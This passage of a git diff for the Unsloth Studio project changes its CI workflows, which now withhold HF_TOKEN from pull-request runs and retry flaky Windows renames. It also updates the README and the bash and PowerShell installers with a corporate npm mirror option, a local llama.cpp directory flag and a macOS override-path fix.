-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           set -o pipefail
           unsloth studio update --local 2>&1 | tee logs/update.log
@@ -109,7 +111,8 @@ jobs:
         # the first one.
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           set -o pipefail
           unsloth studio update --local 2>&1 | tee logs/update2.log
diff --git a/.github/workflows/studio-windows-api-smoke.yml b/.github/workflows/studio-windows-api-smoke.yml
index 78efe918ac..e9abd2d669 100644
--- a/.github/workflows/studio-windows-api-smoke.yml
+++ b/.github/workflows/studio-windows-api-smoke.yml
@@ -75,7 +75,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -124,7 +125,8 @@ jobs:
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           # *>&1 captures Write-Host (Information stream) output;
diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml
index a997c89b67..0bc216d65a 100644
--- a/.github/workflows/studio-windows-inference-smoke.yml
+++ b/.github/workflows/studio-windows-inference-smoke.yml
@@ -127,7 +127,8 @@ jobs:
         # described above (outcome != success).
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -179,7 +180,8 @@ jobs:
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           # *>&1 captures Write-Host (Information stream) output;
@@ -476,7 +478,8 @@ jobs:
         id: download-gguf
         if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p gguf-cache
@@ -524,7 +527,8 @@ jobs:
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           # *>&1 captures Write-Host (Information stream) output;
@@ -906,7 +910,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -956,7 +961,8 @@ jobs:
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           # *>&1 captures Write-Host (Information stream) output;
@@ -1299,7 +1305,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -1331,11 +1338,19 @@ jobs:
         shell: pwsh
         run: |
           $ErrorActionPreference = 'Stop'
+          # A Program Files dir can hold a transient handle (Defender / MSBuild node)
+          # so Rename-Item intermittently fails with "Access is denied"; retry to ride it out.
+          function Rename-WithRetry($Path, $NewName) {
+            for ($i = 1; $i -le 6; $i++) {
+              try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
+              catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
+            }
+          }
           # Rename the Visual Studio install roots (incl. the Installer that holds
           # vswhere.exe) so Find-VsBuildTools' vswhere + filesystem scan both miss.
           foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
             if (Test-Path -LiteralPath $d) {
-              Rename-Item -LiteralPath $d -NewName ((Split-Path $d -Leaf) + '.vsoff')
+              Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff')
               Write-Host "Hid VS: $d"
             }
           }
@@ -1344,7 +1359,7 @@ jobs:
           $hidden = @()
           foreach ($c in (Get-Command cmake -All -ErrorAction SilentlyContinue)) {
             if ($c.Source -and (Test-Path -LiteralPath $c.Source)) {
-              Rename-Item -LiteralPath $c.Source -NewName ((Split-Path $c.Source -Leaf) + '.off')
+              Rename-WithRetry $c.Source ((Split-Path $c.Source -Leaf) + '.off')
               $hidden += $c.Source
               Write-Host "Hid cmake: $($c.Source)"
             }
@@ -1369,14 +1384,15 @@ jobs:
       - name: PyTorch CPU wheel installs and imports (no Visual Studio)
         run: |
           python -m pip install --upgrade pip
-          python -m pip install torch --index-url https://download.pytorch.org/whl/cpu
+          python -m pip install torch --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple
           python -c "import torch; print('torch', torch.__version__, 'cuda?', torch.cuda.is_available())"
 
       - name: Install Studio (--local, --no-torch) with no build tools present
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           $ProgressPreference = 'SilentlyContinue'
@@ -1528,8 +1544,16 @@ jobs:
         shell: pwsh
         run: |
           $ErrorActionPreference = 'Stop'
+          # Retry the rename: a Program Files dir can hold a transient handle that
+          # makes Rename-Item intermittently fail with "Access is denied".
+          function Rename-WithRetry($Path, $NewName) {
+            for ($i = 1; $i -le 6; $i++) {
+              try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
+              catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
+            }
+          }
           foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
-            if (Test-Path -LiteralPath $d) { Rename-Item -LiteralPath $d -NewName ((Split-Path $d -Leaf) + '.vsoff'); Write-Host "Hid VS: $d" }
+            if (Test-Path -LiteralPath $d) { Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff'); Write-Host "Hid VS: $d" }
           }
 
       - name: Windows CUDA and ROCm prebuilts exist in unslothai/llama.cpp (what GPU users download, no VS)
@@ -1586,6 +1610,13 @@ jobs:
       - name: Install Pester v5
         shell: pwsh
         run: |
+          # PSGallery is intermittently absent from the repository list on GitHub's Windows
+          # runners, which makes `Set-PSRepository PSGallery` fail with "No repository with the
+          # name 'PSGallery' was found." Re-register the default gallery first so the policy
+          # change and module install below always have a repository to target.
+          if (-not (Get-PSRepository -Name PSGallery -ErrorAction SilentlyContinue)) {
+            Register-PSRepository -Default -ErrorAction SilentlyContinue
+          }
           Set-PSRepository PSGallery -InstallationPolicy Trusted
           Install-Module Pester -MinimumVersion 5.5.0 -Force -SkipPublisherCheck -Scope CurrentUser
           Import-Module Pester -MinimumVersion 5.5.0
diff --git a/.github/workflows/studio-windows-ui-smoke.yml b/.github/workflows/studio-windows-ui-smoke.yml
index 00458d213b..405309916a 100644
--- a/.github/workflows/studio-windows-ui-smoke.yml
+++ b/.github/workflows/studio-windows-ui-smoke.yml
@@ -91,7 +91,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -155,7 +156,8 @@ jobs:
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           # *>&1 redirects ALL PowerShell streams (stdout, stderr,
diff --git a/.github/workflows/studio-windows-update-smoke.yml b/.github/workflows/studio-windows-update-smoke.yml
index 1a2a7df493..888b3d70a3 100644
--- a/.github/workflows/studio-windows-update-smoke.yml
+++ b/.github/workflows/studio-windows-update-smoke.yml
@@ -133,7 +133,8 @@ jobs:
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           # *>&1 captures Write-Host (Information stream) output;
@@ -180,7 +181,8 @@ jobs:
       - name: First update should be a no-op (prebuilt already validated)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           set -o pipefail
           unsloth studio update --local 2>&1 | tee logs/update.log
@@ -199,7 +201,8 @@ jobs:
       - name: Second update must also be a no-op
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           set -o pipefail
           unsloth studio update --local 2>&1 | tee logs/update2.log
diff --git a/.github/workflows/version-compat-ci.yml b/.github/workflows/version-compat-ci.yml
index 599b53df1d..e492d21e99 100644
--- a/.github/workflows/version-compat-ci.yml
+++ b/.github/workflows/version-compat-ci.yml
@@ -242,7 +242,7 @@ jobs:
         run: |
           python -m pip install --upgrade pip
           # CPU torch (vllm/peft/st all depend on it).
-          pip install --index-url https://download.pytorch.org/whl/cpu \
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
             'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10'
           # torchcodec is a hard requirement on transformers 5.x:
           # transformers/audio_utils.py:55 does
diff --git a/.gitignore b/.gitignore
index 9f7d4b8c60..39ca2226ca 100644
--- a/.gitignore
+++ b/.gitignore
@@ -11,6 +11,8 @@ outputs/
 exports/
 /datasets/
 studio/backend/assets/datasets/
+# Generated async worker / reviewer transcripts (never part of the product).
+studio/backend/async_task_outputs/
 unsloth_training_checkpoints/
 *.gguf
 *.safetensors
diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml
index bf2a0c8e7c..8dcb9130b3 100644
--- a/.pre-commit-config.yaml
+++ b/.pre-commit-config.yaml
@@ -1,6 +1,6 @@
 repos:
   - repo: https://github.com/astral-sh/ruff-pre-commit
-    rev: v0.15.17
+    rev: v0.15.18
     hooks:
       - id: ruff
         args:
diff --git a/README.md b/README.md
index 6656033523..e3fd4e6980 100644
--- a/README.md
+++ b/README.md
@@ -86,7 +86,7 @@ unsloth studio -p 8888
 ```
 For cloud or global access, add `-H 0.0.0.0`. By default, Unsloth is accessible only locally.
 
-For a secure HTTPS link instead of a raw network port, use `unsloth studio --secure`. Studio stays bound to localhost and is served only through a free Cloudflare HTTPS tunnel (it fails closed if the tunnel can't start, so the raw port is never exposed).
+To reach Studio over HTTPS, use `unsloth studio --secure`. Studio stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Studio reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below).
 
 #### Docker
 Use our [Docker image](https://hub.docker.com/r/unsloth/unsloth) ```unsloth/unsloth``` container. Run:
@@ -246,6 +246,20 @@ curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_STUDIO_HOME=/abs/path sh
 $env:UNSLOTH_STUDIO_HOME='C:\path'; irm https://unsloth.ai/install.ps1 | iex
 ```
 
+On macOS, the installer defaults to the system certificate store (`UV_SYSTEM_CERTS=1`) so uv trusts the CAs in your Keychain, needed behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.). Opt out with:
+```bash
+curl -fsSL https://unsloth.ai/install.sh | UV_SYSTEM_CERTS=0 sh
+```
+
+Point the frontend build at a corporate npm mirror/proxy with `UNSLOTH_NPM_REGISTRY` (for the developer install behind a firewall that blocks `registry.npmjs.org`):
+```bash
+UNSLOTH_NPM_REGISTRY=https://artifactory.example.com/api/npm/npm/ ./install.sh --local
+```
+```powershell
+$env:UNSLOTH_NPM_REGISTRY='https://artifactory.example.com/api/npm/npm/'; .\install.ps1 --local
+```
+It is threaded as `--registry` into the Studio frontend `npm`/`bun` installs; the supply-chain locks (7-day `min-release-age`, exact version pins) stay in force.
+
 Cap Studio's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`.
 
 #### Uninstall
diff --git a/build.sh b/build.sh
index 286664b5e8..dc272f0de1 100644
--- a/build.sh
+++ b/build.sh
@@ -35,10 +35,19 @@ _restore_gitignores() {
 }
 trap _restore_gitignores EXIT
 
+# Corporate-mirror / proxy escape hatch (#6491). When UNSLOTH_NPM_REGISTRY is set we
+# thread it as `--registry <url>` into the installs (overrides frontend/.npmrc's pinned
+# registry for both bun and npm; min-release-age / save-exact stay in force). Empty
+# array (the default) expands to nothing under `set -u`.
+_NPM_REGISTRY_ARGS=()
+if [ -n "${UNSLOTH_NPM_REGISTRY:-}" ]; then
+    _NPM_REGISTRY_ARGS=(--registry "$UNSLOTH_NPM_REGISTRY")
+fi
+
 # Use bun for install if available (faster), fall back to npm.
 _install_ok=false
 if command -v bun &>/dev/null; then
-    if bun install; then
+    if bun install "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}"; then
         _install_ok=true
     else
         echo "⚠ bun install failed, falling back to npm"
@@ -46,8 +55,10 @@ if command -v bun &>/dev/null; then
     fi
 fi
 if [ "$_install_ok" != "true" ]; then
-    if ! npm install; then
+    if ! npm install "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}"; then
         echo "❌ ERROR: package install failed" >&2
+        echo "   If you are behind a corporate firewall/proxy, set UNSLOTH_NPM_REGISTRY to your mirror and retry, e.g.:" >&2
+        echo "   UNSLOTH_NPM_REGISTRY=https://your-mirror.example/api/npm/ ./build.sh" >&2
         exit 1
     fi
 fi
diff --git a/install.ps1 b/install.ps1
index 765f33b1ff..8c667df079 100644
--- a/install.ps1
+++ b/install.ps1
@@ -99,6 +99,7 @@ function Install-UnslothStudio {
     $TauriMode = $false
     $SkipTorch = $false
     $ShortcutsOnly = $false
+    $WithLlamaCppDir = ""
     $argList = $args
     for ($i = 0; $i -lt $argList.Count; $i++) {
         switch ($argList[$i]) {
@@ -116,6 +117,14 @@ function Install-UnslothStudio {
                 }
                 $PackageName = $argList[$i]
             }
+            "--with-llama-cpp-dir" {
+                $i++
+                if ($i -ge $argList.Count) {
+                    Write-Host "[ERROR] --with-llama-cpp-dir requires a path argument." -ForegroundColor Red
+                    return (Exit-InstallFailure "--with-llama-cpp-dir requires a path argument.")
+                }
+                $WithLlamaCppDir = $argList[$i]
+            }
         }
     }
 
@@ -2146,7 +2155,7 @@ exit 0
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
             if ($baseInstallExit -eq 0) {
                 # Resolve pydantic WITH deps so pip pins pydantic-core
                 # to the matching version (no-torch-runtime.txt below
@@ -2160,7 +2169,7 @@ exit 0
                 }
             }
         } else {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
         }
         if ($baseInstallExit -ne 0) {
             Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
@@ -2226,7 +2235,7 @@ exit 0
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
             if ($baseInstallExit -eq 0) {
                 # Same pydantic-with-deps trick as the migrated branch.
                 $baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic }
@@ -2238,7 +2247,7 @@ exit 0
                 }
             }
         } elseif ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
         } else {
             $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" }
         }
@@ -2266,7 +2275,7 @@ exit 0
         Write-TauriLog "STEP" "Installing unsloth"
         substep "installing unsloth (this may take a few minutes)..."
         if ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.6" "unsloth>=2026.6.8" --torch-backend=auto }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto }
             if ($baseInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit)
@@ -2430,6 +2439,13 @@ exit 0
     }
     $studioArgs = @('studio', 'setup')
     if ($script:UnslothVerbose) { $studioArgs += '--verbose' }
+    if ($WithLlamaCppDir) {
+        if (-not (Test-Path -LiteralPath $WithLlamaCppDir -PathType Container)) {
+            Write-Host "[ERROR] --with-llama-cpp-dir path does not exist: $WithLlamaCppDir" -ForegroundColor Red
+            return (Exit-InstallFailure "--with-llama-cpp-dir path does not exist.")
+        }
+        $env:UNSLOTH_LOCAL_LLAMA_CPP_DIR = (Resolve-Path -LiteralPath $WithLlamaCppDir).Path
+    }
     $env:UNSLOTH_INSTALL_ROLLBACK_MANAGED = "1"
     # Hand the venv interpreter to setup.ps1 so it reuses the Python we already
     # resolved and built the venv with, instead of re-probing the system (which
@@ -2445,6 +2461,7 @@ exit 0
         } else {
             Remove-Item Env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue
         }
+        Remove-Item Env:UNSLOTH_LOCAL_LLAMA_CPP_DIR -ErrorAction SilentlyContinue
         Remove-Item Env:UNSLOTH_INSTALL_ROLLBACK_MANAGED -ErrorAction SilentlyContinue
         Remove-Item Env:UNSLOTH_SETUP_PYTHON -ErrorAction SilentlyContinue
     }
@@ -2595,6 +2612,7 @@ exit 0
             step "launch" "to start later, run:"
             substep "unsloth studio -p 8888"
             substep "(add -H 0.0.0.0 to allow network / cloud access)"
+            substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
             Write-Host ""
         }
     } else {
@@ -2615,6 +2633,7 @@ exit 0
             substep "unsloth studio -p 8888"
         }
         substep "(add -H 0.0.0.0 to allow network / cloud access)"
+        substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
         Write-Host ""
     }
 }
diff --git a/install.sh b/install.sh
index 7a2e18e374..14fbba478d 100755
--- a/install.sh
+++ b/install.sh
@@ -53,6 +53,11 @@ _VERBOSE=false
 _SHORTCUTS_ONLY=false
 _next_is_package=false
 _next_is_python=false
+_next_is_llama_cpp_dir=false
+# Seed from the environment so a caller who exports UNSLOTH_LOCAL_LLAMA_CPP_DIR
+# (the documented piped-install style) is honored; the --with-llama-cpp-dir
+# flag below overrides it when given.
+_WITH_LLAMA_CPP_DIR="${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}"
 for arg in "$@"; do
     if [ "$_next_is_package" = true ]; then
         PACKAGE_NAME="$arg"
@@ -64,6 +69,11 @@ for arg in "$@"; do
         _next_is_python=false
         continue
     fi
+    if [ "$_next_is_llama_cpp_dir" = true ]; then
+        _WITH_LLAMA_CPP_DIR="$arg"
+        _next_is_llama_cpp_dir=false
+        continue
+    fi
     case "$arg" in
         --local) STUDIO_LOCAL_INSTALL=true ;;
         --package) _next_is_package=true ;;
@@ -72,6 +82,7 @@ for arg in "$@"; do
         --no-torch) _NO_TORCH_FLAG=true ;;
         --verbose|-v) _VERBOSE=true ;;
         --shortcuts-only) _SHORTCUTS_ONLY=true ;;
+        --with-llama-cpp-dir) _next_is_llama_cpp_dir=true ;;
     esac
 done
 
@@ -255,6 +266,10 @@ if [ "$_next_is_python" = true ]; then
     echo "❌ ERROR: --python requires a version argument (e.g. --python 3.12)." >&2
     exit 1
 fi
+if [ "$_next_is_llama_cpp_dir" = true ]; then
+    echo "❌ ERROR: --with-llama-cpp-dir requires a path argument." >&2
+    exit 1
+fi
 
 # Validate --package to prevent injection into shell/Python commands.
 # Must start with a letter/digit (rejects leading dashes that uv would parse as flags).
@@ -447,8 +462,12 @@ _on_install_exit() {
     if [ "$_status" -ne 0 ]; then
         _restore_studio_venv_replacement
     fi
+    [ -n "${_UV_OVERRIDE_TMPDIR:-}" ] && rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true
     exit "$_status"
 }
+# Empty so an inherited value can never reach the trap's rm; only a temp dir
+# this script creates below (Apple Silicon, spaced path) is ever removed.
+_UV_OVERRIDE_TMPDIR=""
 trap _on_install_exit EXIT
 
 # ── Helper: download a URL to a file (supports curl and wget) ──
@@ -1423,10 +1442,35 @@ if [ "$_NO_TORCH_FLAG" = true ] || [ "$MAC_INTEL" = true ]; then
     SKIP_TORCH=true
 fi
 
+# Apple Silicon: exclude broken mlx-lm 0.31.3 (QK-norm load regression for
+# gemma4 / qwen3_5; mlx-lm #1242). A curl-piped install has no overrides file
+# and skips the guarded MLX step (SKIP_STUDIO_BASE=1), so this is the only cover.
+_MLX_LM_EXCLUDE_ARG=""
+
 # Apple Silicon: override mlx-vlm / mlx-lm's transformers pin (see overrides file).
 if [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; then
+    _MLX_LM_EXCLUDE_ARG="mlx-lm!=0.31.3"
     _OVERRIDES_FILE="$(cd "$(dirname "$0" 2>/dev/null || echo ".")" && pwd)/studio/backend/requirements/single-env/overrides-darwin-arm64.txt"
     if [ -f "$_OVERRIDES_FILE" ]; then
+        # uv splits UV_OVERRIDE on whitespace, so a repo path with whitespace
+        # truncates it and aborts every later uv call (issue #6503). Hand uv a copy.
+        case "$_OVERRIDES_FILE" in
+            *[[:space:]]*)
+                _UV_OVERRIDE_TMPDIR=$(mktemp -d 2>/dev/null) || _UV_OVERRIDE_TMPDIR=""
+                case "$_UV_OVERRIDE_TMPDIR" in
+                    "") ;;
+                    *[[:space:]]*) rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true; _UV_OVERRIDE_TMPDIR="" ;;
+                    *)
+                        if cp "$_OVERRIDES_FILE" "$_UV_OVERRIDE_TMPDIR/overrides-darwin-arm64.txt" 2>/dev/null; then
+                            _OVERRIDES_FILE="$_UV_OVERRIDE_TMPDIR/overrides-darwin-arm64.txt"
+                        else
+                            rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true
+                            _UV_OVERRIDE_TMPDIR=""
+                        fi
+                        ;;
+                esac
+                ;;
+        esac
         export UV_OVERRIDE="$_OVERRIDES_FILE"
     fi
 fi
@@ -1439,6 +1483,81 @@ elif [ "$OS" = "macos" ]; then
 fi
 tauri_diag_marker "$_TAURI_INITIAL_GPU_BRANCH" "none"
 
+# AMD GPU name from the Windows host via WMI, or empty. Discrete cards aren't in
+# /proc/cpuinfo, so ask Windows. Cached ("-" = negative), self-contained, bounded
+# to 10s. Defined here so the reroute below can use it before _run_bounded exists.
+_WSL_AMD_GPU_NAME_CACHE=""
+_wsl_amd_gpu_name() {
+    if [ -n "$_WSL_AMD_GPU_NAME_CACHE" ]; then
+        [ "$_WSL_AMD_GPU_NAME_CACHE" = "-" ] && return 1
+        printf '%s' "$_WSL_AMD_GPU_NAME_CACHE"; return 0
+    fi
+    command -v powershell.exe >/dev/null 2>&1 || { _WSL_AMD_GPU_NAME_CACHE="-"; return 1; }
+    _wag_ps="(Get-CimInstance Win32_VideoController | Where-Object { \$_.Name -match 'AMD|Radeon' } | Select-Object -First 1).Name"
+    if command -v timeout >/dev/null 2>&1; then
+        _wag_n="$(timeout 10 powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')"
+    else
+        _wag_n="$(powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')"
+    fi
+    if [ -n "$_wag_n" ]; then _WSL_AMD_GPU_NAME_CACHE="$_wag_n"; printf '%s' "$_wag_n"; return 0; fi
+    _WSL_AMD_GPU_NAME_CACHE="-"; return 1
+}
+
+# ── Bounded command runner ──
+# Runs a command under a 10s timeout when the `timeout` binary is available,
+# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during
+# driver init or after a reset) from hanging the installer: a timed-out probe
+# exits nonzero and is treated exactly like a failed probe. No-op semantics on
+# hosts without `timeout` (e.g. macOS) or when the probe is healthy.
+_run_bounded() {
+    if command -v timeout >/dev/null 2>&1; then
+        timeout 10 "$@"
+    else
+        "$@"
+    fi
+}
+
+# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every
+# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to
+# the AMD card). Unset means all devices visible. nvidia-smi ignores this env
